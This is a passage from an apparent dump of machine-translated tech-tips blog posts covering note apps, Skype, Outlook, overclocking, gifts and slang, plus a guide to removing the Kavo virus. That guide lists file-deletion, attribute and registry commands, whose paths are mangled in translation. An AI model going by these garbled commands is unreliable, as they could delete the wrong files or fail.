accessible from other devices. Besides, there is a quick search tool that helps you find what you want.\nTags (tags) also contribute significantly to organizing and organizing notes. An extremely interesting option is to save the version. If you change a note and suddenly regret it, you can go back in time to the old note version. Although there is no collaboration feature, you can still share notes with others and for other applications from Simplenote.\nIf you've tried Evernote and found that it's not a complete tool for you, there are many other apps and services to choose from. Test them and you will definitely find a choice that fits perfectly with your needs. If you think the article missed some important tool on this list, leave a comment in the comment section below!\nWish you find yourself the right tool!\nncG1vNJzZmismaXArq3KnmWcp51kgm66zq2Ym6SVYq6twMSrpZqsmauytHnFqKlmnaaav6%2B7054%3D\n","link":"/post/5-notable-alternatives-for-evernote/","section":"post","tags":null,"title":"5 notable alternatives for Evernote"},{"body":"USA Today reported that Flikr has just been acquired by a professional photo hosting service SmugMug at an undisclosed price. Flickr's fate has not fallen since Yahoo downgraded and was acquired by Verizon last year for $ 4.5 billion and combined with AOL, becoming Oath.\nYahoo bought Flickr in 2005 for $ 35 million but did not know what to do, despite changing the design many times, even launching new service Flickr Pro to revive Flickr. However, this photo hosting and sharing service still does not return to the golden age before new competitors like Instagram. SmugMug CEO Don MacAskill told USA 'Flickr has experienced many ups and downs and is still at the core of the internet lazy'.\nSmugMug plans to keep Flickr a standalone service but will invest more resources and interest than Oath. However, in terms of technology, this sale is not a bargain with SmugMug because the photo service they own seems to be even stronger.\nSee more:\nThese websites help you make money from photos 10 best photo hosting and sharing sites Notes when choosing online photo backup service ncG1vNJzZmismaXArq3KnmWcp51ks621wqSpZqGjYsCwuMNmq6hlo6LCqLnUoGSpqp%2BbsrS%2FyKilmqRdpbWwwM5mn6irpJ67qHnSnqmvoZOa\n","link":"/post/flickr-is-sold-to-smugmug-professional-photo-hosting-service/","section":"post","tags":null,"title":"Flickr is sold to SmugMug professional photo hosting service"},{"body":"To use Skype without installation, we use the Web-based version of Skype. You should use a fast and powerful browser like Google Chrome, Firefox . to experience the most perfect Skype.\n  1. Chat, call, dial and log out of Skype on the web version 1.1. How to chat, send files on Skype web Step 1: You access the link https://web.skype.com/ and log in with your Microsoft account .\n  The login process will then take a moment.\n  Step 2: After logging in to Skype, you can message and use Skype as usual. To chat with a friend you've saved on Skype, click Contacts .\n  Step 3: Choose the person you need to chat and enter content in the box Enter a message .\n  Step 4: In addition, in the message section, you can share files ( Send files ), share contacts or create polls by clicking one of the function buttons in the right corner of the chat frame.\nTo send the file, click the Send file button next to the chat box.\n  Step 5 : Select the file to send and click Open to open.\n  Step 6: Enter a description for the file to send in the chat frame and press the send button or the Enter key .\n  And the result after we send the file successfully!\n  1.2. How to make phone calls on Skype web Step 1: To make a call on Skype, click the Speaker icon in the top corner.\n  Step 2: Next, you authorize Allow access to the Micro to call via Skype.\n  Then, the calling interface on Skype will display as shown below is successful.\n  1.3. Dial on Skype Step 1: Click on the keyboard icon next to the search box.\n  Step 2: Choose your area code (if any) (1) =\u0026gt; enter the phone number (2) =\u0026gt; press the call button (3) .\nNote : You must add money to your Skype account to be able to call mobile phones.\n  1.4. Instructions for logging out of Skype web After using Skype, you should log out your account. To log out of Skype, click the Log Out button .\n  2. Instructions for adding friends, sending private messages, renaming contacts, changing profiles on Skype 2.1. Instructions for adding you on Skype Step 1: Click the + Contact button at the top of the contacts.\n  Step 2: Enter the email address of the person who needs to add you (1) and click Add (2) .\n  Step 3: Click on the added contacts (1) and click Say hello (2) to confirm adding you. You wait for your friend to see the message or to respond.\n  After the Great message , you can now start chatting successfully.\n  2.2. Send a private message on Skype Step 1: You switch to the Chat tab (1) =\u0026gt; click on + Chat (2) =\u0026gt; New private chat (3) .\n  Step 2: Enter your username (1) and click on that username (2) to chat privately.\n  Step 3: Wait for the recipient to agree to Private chat is okay. You can switch between private chat and normal chat in the section above.\n  2.3. Rename contacts on Skype web Step 1: Click on Contacts (1) =\u0026gt; select contact name to be changed (2) =\u0026gt; Edit contact (3) .\n  Step 2: Enter a new name in Name (1)  and click Save (2) to finish.\n  After renaming, your contacts will be updated immediately.\n  2.4. Instructions for changing profiles on Skype web version Step 1: Click on the 3 dots (1) =\u0026gt; select Settings (2) .\n  Step 2: Choose Account and Profile (1) .\nHere, you can change the avatar in the Profile Picture (2) section . To edit your profile, click on your Profile  (3) .\n  Step 3: Skype will open a new tab in the browser. You click Edit profile to change your personal information again.\n  Step 4: You can enter additional personal information such as city name, phone number . To change the name, enter a new name in Name (1)  and click Save (2) to save. After saving the information, please log out of Skype again and log back in so the new information is loaded.\n  With the instruction to use Skype without software in the article, readers can use Skype anytime, anywhere, quickly and conveniently, without the need to install the software on the machine. Wishing you a successful reading!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlsFuwdKeZKyjqaWybrvNZquhnV2ssqN5waumsKuVp3q4tdOhpq6sXZ67tMDApaOippdiwLCy07CYq50%3D\n","link":"/post/how-to-chat-use-skype-on-the-web-browser-without-installing-software/","section":"post","tags":null,"title":"How to chat, use Skype on the web browser without installing software"},{"body":"Auto-Complete feature in Outlook 2013 automatically names and email addresses when you enter them in the To or Cc field. Based on the characters that you start typing, Outlook will display a list of possible options that match what you entered.\nThen, you can click on the desired email address in the list or press Enter to insert the email address.\nAuto-Complete feature can help save time if writing multiple emails and have multiple contacts in address book. However, be careful when using this feature, it may not accidentally choose the wrong email address and send email to the wrong person. If Auto-Complete annoys you and doesn't want to use it, you can easily disable it.\nTo disable the Auto-Complete feature , open Outlook, then click the FILE tab.\n  \nClick Options from the menu list on the left.\n  \nIn the Outlook Options dialog box, click Mail in the left menu list.\n  \nTo disable the Auto-Complete feature, scroll down to the Send messages section on the right\u0026gt; uncheck the Use Auto-Complete List check box to suggest names when typing in the To, Cc, and Bcc lines.\n   \nOutlook keeps track of the email addresses used in the Auto-Complete List list. You can delete this list by clicking the Empty Auto-Complete List button.\n   \nThe confirmation dialog will be displayed to make sure you want to clear the Auto-Complete List. Click Yes if you want to delete the list.\n  \nYou can activate the Auto-Complete feature at any time by selecting the Use Auto-Complete List check box to suggest names when typing in the To, Cc, and Bcc lines.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqK6juMRmq6GdXZbCtbvCqKSppJWpsm6yxJqrrqqVYravec6uq6Wnn6B6c3yQbA%3D%3D\n","link":"/post/how-to-disable-the-auto-complete-feature-in-outlook-2013/","section":"post","tags":null,"title":"How to disable the Auto-Complete feature in Outlook 2013"},{"body":"Virus Win32: Kavos Virus Kavo makes Yahoo! Messenger itself 'ends' , TipsMake.com has learned and provided a way to help readers if infected with this virus can \"catch\" and delete it manually or use anti-virus software support.\nHow to kill Kavo virus with ClamWin Free Antivirus software Download ClamWin Free Antivirus and install it on your computer, go to the Select Components screen, if you don't want to integrate the software into Outlook and Widows Explorer, you can uncheck it, then click Next.\nAfter installing, click on the software icon on the desktop to open, you will be prompted to download the latest virus data when entering the main interface of the software.\nYou press Shift and select all available drives and press Scan.\nThe software will conduct computer scans, detect and remove Kado viruses, as well as other malware on the computer.\nHow to delete the Kavo virus manually 1. Run Task Manager Right-click on the Taskbar at the bottom right of the screen, select Task Manager, and you will see the Task Manager window appear\n   Figure 1: Running Task Manager\nTurn off WScript.exe \u0026amp; Explorer.exe if these two programs are running\n   Figure 2: Close wscript.exe\n   Figure 3: Close explorer.exe\n2. Remove the Autorun.inf files \n The feature of this Kavo is to generate Autorun files located in the root directory of hard drives. These files make the virus active when the victim double clicks the hard drive. To avoid re-activating the virus, one of the first things you have to do is remove the Autorun files in the root directory of the drives (on my machine are C, D, E drives).\nIn the Task Manager window, select File \u0026gt; New Task (Run .)\n   Figure 4: Opening the run dialog to execute a program\nThe screen will display the Run command, type cmd to open the console screen, execute DOS commands\n   Figure 5: Running CMD command\nIn the console, in turn, execute the following commands:\n  Figure 6: Consonle screen to execute the command line\nDEL c: autorun. * / F / a / s / q \n DEL d: autorun. * / F / a / s / q \n DEL e: autorun. * / F / a / s / q\n3. Remove the virus \n In the console window, type the following commands:\nCD c: windowssystem32 \nDIR / a avp *. *\nYou will see the files avpo.exe or avpo0.dll \n Keep typing\nATTRIB -r -s -h avpo.exe \n DEL avpo.exe\nor\nATTRIB -r -s -h avpo0.dll \n DEL avp0.dll\nKeep typing\nDIR / a kavo *. *\nIf appears 1 or the files kavo.exe and kavo0.dll or kavo1.dll Perform deletion commands\nATTRIB -r -s -h kavo.exe \n DEL kavo.exe\nATTRIB -r -s -h kavo.dll \n DEL kavo.dll\nATTRIB -r -s -h kavo1.dll \n DEL kavo1.dll\nContinue typing in the console\nCD \n ATTRIB -r -s -h ntde1ect.com \n DEL ntde1ect.com\n4. Edit Regedit In the Task Manager window, select File \u0026gt; New Task (Run .) (Figure 4) Display the Run box, type regedit\n Figure 7: Executing the program Regedit\n Figure 8: Window regedit\n Figure 9: Delete avpo.exe\nGo to HKEY_CURRENT_USER\u0026gt; SOFTWARE\u0026gt; Microsoft\u0026gt; Windows\u0026gt; CurrentVersion\u0026gt; Run In the left pane of Regedit window, if there is a stream of avpo.exe , right-click and delete the text.\nAt the end of the process, restart the computer.\nGo back to windows, if you don't see any hidden files (due to viruses) you can download the following Windows Registry file and run it https://quantrimang.com/data/fixHiddenFiles.reg Go to Statup by going to Run \u0026gt; type msconfig\n Figure 10: Run MsConfig\n Figure 11: Uncheck Kavo, or Avpo\nRestart your computer again.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqOZobluw5Jropqun2LDqr7UrA%3D%3D\n","link":"/post/how-to-kill-w32-kavo-virus/","section":"post","tags":null,"title":"How to kill W32.Kavo virus"},{"body":"Currently there are many software that supports downloading and installing automatic drivers for computers, in which many people choose and believe the program is probably 3DP Chip, because the ability to download and install drivers is missing for The computer is fast and accurate. In particular, 3DP Chip can automatically search and display information on hardware devices integrated in your computer. At the same time, the program also provides a link for you to download the latest driver version of those devices.\nIf you do not know how to use 3DP Chip to find the driver to install for your computer, the following will be a detailed guide for your reference.\n2 simple ways to update VGA driver for computer monitor, laptop 5 basic ways to update, update drivers for computers The trick prevents Windows from automatically updating specific drivers Instructions for using 3DP Chip find the driver to install for the computer Step 1:\nDownload and install 3DP software for computers.\nDownload 3DP Chip Step 2:\nLaunch the program, you will be moved to the main working interface of 3DP Chip.\n  The program will scan through the computer system and automatically list the built-in hardware devices and operating system information and memory your computer is using at the bottom: O / S, Memory Size, CPU Clock, .\nUpdate the driver when the computer has an Internet connection\nNow, if you want to download any hardware driver, click on the hardware information. For example, if you want to download the Video card driver, click the Video card information on the main screen interface.\n  At this point, the program will display the corresponding download link from the driver's homepage, like the image below. Please click Driver download to download or always Other O / S to select the version that suits your needs.\n  Update the driver when the computer has no Internet connection\nIf you don't have an Internet connection, you can still update your computer's drivers with 3DP Chip. Copy the download link of the driver by clicking on Q \u0026amp; A / Bug.\n  A new bulletin board appears, select OK\u0026gt; Open Notepad or Word and paste the content (Ctrl + V) into it.\n  Next, copy to USB\u0026gt; Bring it to your computer and install it.\nAbove is a very detailed guide for you how to find computer drivers with 3DP Chip software. From now on, you can manually update the driver for your computer every time you reinstall the operating system or it is broken, this is really a tool to detect professional computer drivers that you should use.\nGood luck!\nSee more:\n6 simple ways to find the fastest computer IP address Instructions on how to upgrade RAM on computers and Laptops Remove the USB drive when the computer is in sleep mode (Sleep) is it safe? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnp0sM9mmqGhoGLBsHnUqZuarJVivLN5yKeqrZmcoXqutdKsoKefXZm%2FqsLEq6pmnp%2BnerW0xGaaqKWgqsGmvg%3D%3D\n","link":"/post/how-to-use-3dp-chip-to-update-or-install-missing-drivers-for-the-computer/","section":"post","tags":null,"title":"How to use 3DP Chip to update or install missing drivers for the computer"},{"body":"The product, called Qosmio X70, uses Intel microprocessors and the latest Nvidia graphics card and sells for more than 40 million dong.\nTo serve gamers as a gamer, the Qosmio X70 has four 6W Harman Kardon speakers with DTS Studio Sound sound technology . Dark gray machine design with red border also makes the appearance of the product stand out.\n  The Qosmio X70 has four Harman Kardon speakers.\nQosmio X70 is equipped with Intel Core processor based on the latest Haswell platform with Nvidia GeForce GTX 770M graphics card with 3 GB GDDR5 VRAM. The Full HD screen of the device is 17.3 inches in size. This model uses HDD with capacity up to 3TB with mSATA SSD 256 GB and maximum RAM is 32 GB.\nLaptops playing this game support both USB 2.0 and 3.0 ports. In particular, the product also has HDMI connectivity to enable 4K high definition video output. Some technologies for sharing content on TVs such as Intel WiDi or Miracast are also posted on the Qosmio X70.\nToshiba plans to sell the Qosmio X70 in the third quarter of this year in Europe for 1,495 euros (about 41.8 million dong).\nActual photo of gaming laptop Toshiba Qosmio X70:   The Qosmio X70 uses a 17.3-inch screen with Full HD resolution.\n  Right side of the machine.\n  Toshiba's gaming laptop is expected to sell in the third quarter of this year.\nReal video gaming laptop Toshiba Qosmio X70:ncG1vNJzZmismaXArq3KnmWcp51kuaK806inrGWgoa66ecaapJ6rXay2tbSMbaJmrpmZsrB5xaumpmWkpMCptcGa\n","link":"/post/laptops-play-games-with-4k-video-from-toshiba/","section":"post","tags":null,"title":"Laptops play games with 4K video from Toshiba"},{"body":"The upcoming Thinkpad L series will consume 40% less power than other laptops.\nLenovo's new Thinkpad L series looks quite similar to the R series and is most likely a replacement for the R series. The first two models of the L series are L412 (14 inches) and L512 (15 inches), in addition to 40% more efficient power consumption than other laptops, and are environmentally friendly models. Thanks to the shell made of recycled materials.\n  Unlike the recent Edge and X100e, the L series retains a lot of classic and masculine designs of the Thinkpad.\n  Shortcut system on both keyboard and camera side.\n  The keyboard and touchpad are not much changed.\n  Models in this line will have the option of Intel Core i3 or i5 processor, integrated graphics chip or ATI Radeon graphics card.\n  Even those who do not need big or limited budget can choose the model using Celeron P4500 processor, 160 GB hard drive, 1GB RAM for only about 649 USD.\n    ncG1vNJzZmismaXArq3KnmWcp51kuaa6zq%2BmZqelqXqwsoytn6Kmm6WupXnLZqqeqpmawA%3D%3D\n","link":"/post/lenovo-out-of-thinkpad-l-series/","section":"post","tags":null,"title":"Lenovo out of Thinkpad L series"},{"body":"At the MWC exhibition, a smartphone with a 'monster' battery of 16,000 mAh appeared, 5 times the capacity of Galaxy S8 / S9 and iPhone X, which surprised the tech world. Because the batteries in smartphones are now available in capacities ranging from 3,000 mAh to 4,000 mAh.\nThis phone with a 'monster' battery is called Energizer Power Max P16K Pro. And this is the Android smartphone with the largest battery ever appeared, users can freely use the phone within 1 week.\n  Power Max P16K Pro configuration remains pretty good:\n5.99 inch screen. Resolution 2,160 x 1,080 pixels. MediaTek Helio P25 processor. 6GB RAM capacity, with 128 GB internal memory. The back is a 13 MP and 5 MP dual camera, the front is an 8 MP camera. The Energizer Power Max P16K Pro is about 15.2mm thick and weighs 350 grams. Running Android 8.0 operating system.   With a 16,000 mAh battery in the device, many people believe that the phone is fully capable of becoming a backup charger for other devices.\nThe phone supports fast charging feature so the charging time for this 'monster' battery will be significantly reduced.\n Energizer Power Max P16K Pro when placed next to iPhone X.\nThis \"monster\" battery phone is expected to be released in India in May. The price of this product is still unknown.\nncG1vNJzZmismaXArq3KnmWcp51ksq%2Bx0aCgs52iYr2ww8SrZKaZqGK9coLKZqerp12ltbC6xGakqJyVoXq4tdOhZKannqjBpr6Mm5itrJWnxm67xWZob2hgZXqurcc%3D\n","link":"/post/phone-model-with-monster-battery-of-16-000-mah/","section":"post","tags":null,"title":"phone model with 'monster' battery of 16,000 mAh"},{"body":"This process comes with benefits and drawbacks. In this article, TipsMake.com will review them and help you decide if you want to overclock your gaming PC.\nWhat are the benefits of overclocking? The immediate advantages of overclocking may seem obvious - more power at a relatively low cost - but let's explore these and some other benefits of overclocking.\nPerformance upgrade The first and most obvious benefit of overclocking is the reduction in performance from your hardware. By overclocking your PC, you'll get more frames per second, which can cut down on all load times and game at higher resolutions. This extra power comes with a price, which we'll discuss later, but with the right know-how and additional hardware, everything is manageable.\nTools are available With some relatively simple tools, you can squeeze more power through your GPU, CPU, and RAM and get the more performance you desire. To get started, check out TipsMake.com's CPU overclocking guide. Programs like MSI Afterburner can easily overclock the CPU and GPU using all the monitors you might need like internal temperature and power consumption. There's even a CPU and GPU stresstest feature to give you an idea of ​​how well you can overclock your PC.\nOverclocking is financially beneficial Having to spend a large amount of money to upgrade hardware is something that no one expects. With prices on the rise, you should try to keep old parts as long as possible.\nPushing your old hardware to the limit will often get it next-gen or close to the same performance. Not having to rummage around to buy the latest gadgets is always an advantage, why spend money when you can get more out of what you already have?\n  There is a lot of support If you decide to go ahead with overclocking your PC, you'll find lots of helpful forums, subreddits, and videos that walk you through the process. If you're planning on doing overclocking, it's almost certain that someone has done this before, made all the mistakes and posted information online about it. Research is key to anything related to building and buying PCs. The same is true for overclocking.\nWhy not overclock? Overclocking saves money, boosts performance, and seems relatively simple to do. Why don't we all do it? There are a few things to consider.\nOverclocking shortens hardware life Using more power through any part of the PC will certainly make it harder to work. This is like, when you work hard, you need more rest. Parts of the PC get tired, too. Over time, the increased voltages that run through PC hardware wear them down. The extra voltage generates more heat and speeds up the degradation of critical internals. This leads to the second problem to consider.\nGenerate more heat  As the voltage increases, more heat is generated. That requires better airflow and heat diffusion. Increasing the temperature inside a PC without a proper solution can cause some serious problems, at least bugs and minor problems. An overclocked CPU can reach a temperature of 195 degrees Fahrenheit and still be considered safe, although closer to 175 degrees Fahrenheit or below is clearly much more appropriate.\nIf you're seriously looking to overclock your components, the investment in extra cooling is well worth it. Water cooling is a popular solution along with a good number of extra fans. Overclocking can mean a bit of a rebuild of your current PC depending on how much you want.\nIncrease power consumption With higher efficiency, power demand also increases. As you demand more from your components, the voltage level will increase as well. This is obviously going to be a slight increase in your electricity bill, but the biggest concern will be whether your local power supply can cope with the increased electricity consumption. When you build a PC or buy a pre-built PC, make sure you know the expected voltage levels before overclocking.\nWhen starting performance tuning, you must know that your power supply will have limits. Be careful not to exceed this as it can cause serious problems like unexpected shutdowns and even fire. You can learn more about the importance of the right power supply in our explanation of why PSU unit performance matters.\n Make sure you overclock properly Sadly, it's not quite as simple as clicking a button and instantly having a perfectly overclocked PC. Knowing how to fine-tune each component and to what extent plays an important role. As mentioned before, MSI Afterburner can help assist you in this. Learn more in the list of the best overclocking software that TipsMake.com has suggested.\nAside from knowing what software to use and knowing if your components can actually be overclocked, not everything is possible and pushing them over the limit can be harmful. Looking up the exact manufacturer and model is always worth checking out. Let's see if it is suitable for further increase in capacity and performance.\n You may not be covered by the warranty If you decide to go ahead and push your PC to the limit, it could affect regulatory benefits. Most manufacturers release their products that are set up to perform at their best for the longest time while also producing the best results. If you decide to tweak your settings and push your gaming PC beyond its original use, the manufacturer reserves the right to refuse a refund if it breaks down.\nSo is overclocking worth it? When looking at overclocking and seeing regular performance boosts dramatically, it's understandable to want to keep going. But the discovery that overclocking can take some research and learning to understand hardware can be intimidating to many. Thankfully, with online help available on videos and forums, anyone can become an expert in no time.\nOf course, being able to avoid having to buy expensive and often hard-to-find hardware is a plus for anyone interested in building or enhancing PC performance. The downside to this is that you have to first learn how to monitor your components and then manage the heat output with things like additional cooling. With the right freeware, the efforts and time commitment can become negligible, and cooling systems are almost always cheaper than new hardware.\nAfter considering all the points, it seems that overclocking your gaming PC is the right thing to do. Just make sure you take the time to understand the process and gather the right tools to monitor your gaming PC.\nAs you can see, there are good reasons to overclock your PC depending on whether you have enough time, patience and know-how to make it work. With the tools available and a little research, enhanced gaming performance can be within your reach.\nYou may need to invest a bit more hardware to keep critical components at the right temperature. The extra research you do, although time consuming, will be beneficial as it saves money and gives you better performance.\ngaming pc overclock ncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZqemmr%2BkuM6comasn2K2r6%2FRnpisnV2lsrOyzqukmqaTmnqnu9FmnpqlmaO0brzC\n","link":"/post/should-overclock-to-increase-performance-for-gaming-pc/","section":"post","tags":null,"title":"Should overclock to increase performance for gaming PC?"},{"body":"Giving gifts to relatives and friends on the traditional New Year is a Vietnamese culture, with the meaning of giving love, giving good luck, good new year wishes.\nToday, in addition to the traditional Tet gifts such as jam, tea, wine, . there are many other options more diverse and realistic but that also makes us think more to get those gift, meaning that is affordable.\nHere are a few suggestions to help you choose meaningful gifts that show your feelings for parents, relatives, friends, and bosses during the Lunar New Year.\nOrnamental plants   Decorating the house for Tet is a long tradition of Vietnamese people, so the gift is a kind of ornamental plants that bring luck, fortune in the house such as peach, kumquat, apricot, . is the choice very suitable. Depending on the house space of the person receiving the gift, you can choose different types of trees with different sizes.\n12 kinds of ornamental plants bring fortune to the house on Tet holiday Healthcare product   Health is an invaluable gift to help us have a happy and happy life. Therefore, health gifts will be a great choice for your parents or older family members.\nWith parents, teachers or older bosses, you can buy them with tonic boxes such as linh chi, deer velvet, cordyceps ginseng, bird's nest or periodic health care package at prestigious hospitals. . This is a gift appreciated by the elders.\nWhen choosing these gifts, you should learn the recipient's health and preferences to choose the right and useful gift.\nTet gift baskets or rustic country gifts   Tet gift basket is a gift that many people choose. Besides candy gift baskets, you can choose beautiful fruit baskets and imported fruit items that are beautifully decorated.\nIn addition to the pre-packaged gift baskets, you can use rustic country gifts, bearing the traditional traditions such as coconut wine, kitchen buffalo meat, stone bamboo shoots, . packed into a unique gift basket.\nThe gift has a feng shui meaning   An artistic picture with the meaning of \"code of success\", \"smooth sailing\", . or feng shui statues, fortune trees, retirement, . will be meaningful Tet greetings Your for the gifted person.\nWith these items, you should find out before the age of the donor to choose the right gift to bring the sand to the owner.\nHouseware Tet is the time for all members of the family to gather and gather together with the cozy tray. The new set of pots and pans, the set of dishes with delicate patterns or the modern cooking equipment, . are the gifts that meet the interests and needs of most families.\nSports equipment, spa cards   If your father-in-law, father-in-law or male boss likes to play sports such as tennis, badminton, gold, . you can choose sports gear, sports shoes, and sports equipment as gifts.\nAs women, everyone likes to be young and beautiful, especially in the first days of the new year. Therefore, beauty care vouchers at spas, skin care cosmetics for wives, mothers and wives, mothers and female bosses will surely make them happy.\nTour   Busy work makes it difficult for many families to arrange time to go out together. At present, many families choose to take a long holiday to travel together to explore and celebrate Tet in new lands.\nncG1vNJzZmismaXArq3KnmWcp51kwLazxp6qraGfo8BuwM5mmqGnn6iybrnEmqWippebwq15056rZp%2BZm8G0\n","link":"/post/suggestions-to-choose-meaningful-tet-gifts/","section":"post","tags":null,"title":"Suggestions to choose meaningful Tet gifts"},{"body":"Sony Extra Bass MDR-XB250 belongs to a line of super bass headphones, one of Sony's very well-selling lines. Currently, with the rise of electronic music as well as the number of people focusing on the bass band increased, Sony Extra Bass MDR-XB250 is a bright candidate for music fans who love bass. So, how does the subwoofer sound with the price of less than 1 million have sound design and quality?\nSony Extra Bass MDR-XB250 is luxurious, can rotate really stylish Sony is still considered a manufacturer with an impressive color \"aesthetic\", with luxurious black color combined with a unique, modern, Sony Extra Bass MDR-XB250 that has brought a new breeze in the market. Head school headphones.\n Sony Extra Bass MDR-XB250 with luxurious black design.\nMDR-XB250 is designed in a youthful style, with a comfortable cape, the earpiece is softly padded, gently giving you a comfortable feeling, without earache when listening to music for a long time, going to bed Tilting is also not required. The soundproofing ability of this head-mounted headset is quite good, the noises from the noisy public environment such as on roads, schools, commercial centers, . do not affect the enjoyment of music. of the user.\n Sony Extra Bass MDR-XB250 ear cushions create comfort.\nSony Extra Bass MDR-XB250 headpiece with light weight so users can easily rotate 360 ​​degrees, convenient to listen to music, store or put in bags, backpack to carry. In addition, this Sony headset has a gold-plated L-shaped plug, which has a 3.5mm jack that is compatible with almost all phones and computers. In particular, 1.2m long cable with anti-tangled flat form makes it more convenient for users to move a lot.\n Sony Extra Bass MDR-XB250- Stylish headphone jack.\nSony Extra Bass MDR-XB250- Sony's powerful, bold bass range As a product of the famous \"Extra Bass\" line with Bass, Sony Extra Bass technology MDR-XB250 possesses extremely powerful, impressive bass, just like what Sony wants to emphasize through 2 words \"super bass\" \". Beside the bass band, the mid and treble range of this Bluetooth headset also gives sharp details, the warm reverberation combined to create the ultimate in sound. Overall, Sony Extra Bass MDR-XB250 for overall sound quality, easy to hear and play more types of music - although electronic music, Dance, EDM is still the destination of this Extra Bass headset.\n With Sony Extra Bass MDR-XB250, the soft sound of Pop-ballad versions or vibrant Rock songs all sound very 'ears'.\nNot only listening to \"quality\" music, Sony Extra Bass MDR-XB250 also sounds quite loud and clear when watching movies or conversations thanks to 30mm speaker membrane and sensitivity of 98 dB / mW. Experiencing reality shows that the lines, sounds, and music in the film are very honest and lively.\nOwning a modern design, youthful colors and distinctive sound quality of bass, healthy and vibrant, Sony Extra Bass MDR-XB250 headpiece is enough to make you satisfied. If you are an avid fan of dance, EDM or Pop, do not hesitate to own a Sony Extra Bass MDR-XB250 headset right away .\nYou can buy Sony Extra Bass MDR-XB250 headphones at: https://meta.vn/tai-nghe-sony-extra-bass-mdr-xb250-p48730\nSee more:\nSony MDR-XB610 headset review: Nice design, good sound, reasonable price ncG1vNJzZmismaXArq3KnmWcp51kwLC62GacsayilnqjrdKsZKacoq2vc4GPZqquqJWneqOt0qxkoZ2Rmb2pu82eqmaen6d6o63SrGSepqSdwrS1wKyrrA%3D%3D\n","link":"/post/super-bass-headphones-for-bass-enthusiasts/","section":"post","tags":null,"title":"Super bass headphones for bass enthusiasts"},{"body":"Windows XP Mode is no longer active in Windows 8. And so is the future. Explaining this, Microsoft simply stated that it will no longer support Windows XP and does not want users to continue using it, even in a virtual machine. However, you can easily set up Windows XP Mode in Windows 8.\nYou can create a virtual machine running Windows XP with most virtual machine creation software. But today, I will show you a solution for setting up Windows XP Mode as a desktop and integrating into the taskbar on Windows 8 .\n  Install Windows XP Mode with VMware Player First, download and install VMware Player on your Windows 8 computer. After the installation is complete, start the application and create a new virtual machine. Quickly through the setup steps, proceed to insert the Windows XP installation disc or navigate to the Windows XP ISO file stored on your computer.\n  And then proceed with the installation of Windows XP on the virtual machine.\n  Integrate Windows XP with Windows 8 After installing Windows XP on a virtual machine, we will do the integration of Windows XP on a virtual machine with Windows 8. This makes it possible to turn a Windows XP virtual machine into a component on Windows 8.\nIn the Windows XP virtual screen, click \"Player\u0026gt; Unity\" . This option allows setting up a special mode that your Windows XP applications will run on Windows 8.\n  Now any application running in Windows XP when enabled Unity will appear on the Windows 8 desktop and the application icon icon will be displayed in the Windows 8 Taskbar.\n  To launch an application in Windows XP from Windows 8, move your mouse to the VMware Player icon running Windows XP and right-click it. A Windows XP menu will appear, select the application you need. And when it boots, it will display right on the Windows 8 Desktop screen as a real application on Windows 8.\n  You can create shortcuts for applications by right-clicking the application and selecting \" Create Shortcut on Desktop\" . A shortcut will appear on Windows 8 Desktop, you can use it to save time.\n  At any time you like, you can turn off the Unity function by right-clicking on it and selecting the \"Exit Unity\" command .\nIf you want more convenience to move files back and forth between the virtual machine and Windows 8 computer, you can set up shared folder sharing in VMware Player's Options option.\nIt can be said that this method is good and best for wanting to use the application in a Windows XP environment right on Windows 8. However, it may be that the first step may take some time for Windows installation. XP on VMware Player virtual machine.\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjLCgp5yfrMBuxM9mpKiclWK8r3nWoqWdp6eoenk%3D\n","link":"/post/use-windows-xp-mode-on-windows-8/","section":"post","tags":null,"title":"Use Windows XP Mode on Windows 8"},{"body":"Gato, the Gato group, the Gato guys . used by young people on some social networks or forums. Gato gradually became a popular saying to many people when participating in certain conversations. Gato has many meanings, so in some conversations, the listener who does not understand the meaning of the word greatly affects the story of two people.\nIn the article below, Network Administrator will read with you all the meaning of this word Gato. Invite you to consult.\nWhat is gato?   Gato is a word used by many young people today. This is an acronym for 'instantaneous jealousy'. In everyday life, those who are always lucky, happy, happy in life, they will always be jealous, envious of the good things you have.\nPeople who are good at Gato are often selfish, narrow-minded, fake-natures, seeing people other than themselves often feel jealous, go bad words to smear the image of others.\nFor example: When you post a picture, everyone has a nice comment. But for the Gato people instead of sending compliments to you, they find a way to speak ill of you like their face is full of chalk, using a virtual shooting application even compliments nice .\nOther meanings of the word Gato   In addition to the above meaning, Gato also carries some other meanings such as:\nGato is also the name of a pastry that is often used in birthdays and weddings . The gato cake is made of sponge cake and overlays a thick layer of cream to decorate and enhance the flavor. pie.\nGato also means that this word chicken is often used in some areas and rural areas, this term refers to those who are ignorant, stupid, and stupid.\nSome Gato words are used in conversations You Gato with me?\nThis verse refers to those who are fasting, jealous of what you have.\nEat gato cake?\nThis sentence you just need to understand is simply that they are inviting you to eat gato. Don't think about it too far.\nDid you eat GATO cake?\nThis verse is a literal combination, but you have to understand in a figurative sense: You have to make someone jealous of you or do you make it 'jealous'?\nGATO!\nIn this verse, it is meant to be a chicken. This verse is rarely used in everyday life. So if someone says you are like that, then understand that they are telling you not to know anything about it.\nGATO!\nInstead of reading 'Ga To', people read 'Gi Ân Ti Ôh' which also means jealousy but reads differently. This is an excerpt from the GATO lyrics by BigDaddy Ft. Binz \u0026amp; Rhymastic.\nHope this article will help you understand what is the meaning of Gato?\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWXlsGwedOhnGallZa7qrrGZqafZZeWwbA%3D\n","link":"/post/what-is-gato-the-meaning-of-gato/","section":"post","tags":null,"title":"What is gato? The meaning of Gato"},{"body":" 11 daily habits silently destroy health without you knowing 6 simple ways to minimize the harmful effects of sitting for a long time What will happen if you sit in a place for too long? Have you ever wondered what the sitting posture is about your person or personality? If you pay a little attention you will find that each of us often has a familiar sitting posture - the most comfortable and comfortable posture. However, few people know that sitting postures can also reveal many things about your personality . On the Bright Side page, we have compiled the 10 most common sitting styles, which will reveal interesting things about your personality. Choose a familiar sitting posture and see what it represents about your personality, the person sitting opposite you!\nSit up straight   A person with a sitting posture is a strong, confident and determined person. You are knowledgeable and almost never hesitate in your decisions. You know what you need and what you want. Not only that, you are also a good communicator, a trusted friend and partner. When friends and relatives encounter difficult situations, you are always willing to help and give them useful advice.\nSit back with your back   You are quite sensitive and emotional . In every event, big or small, 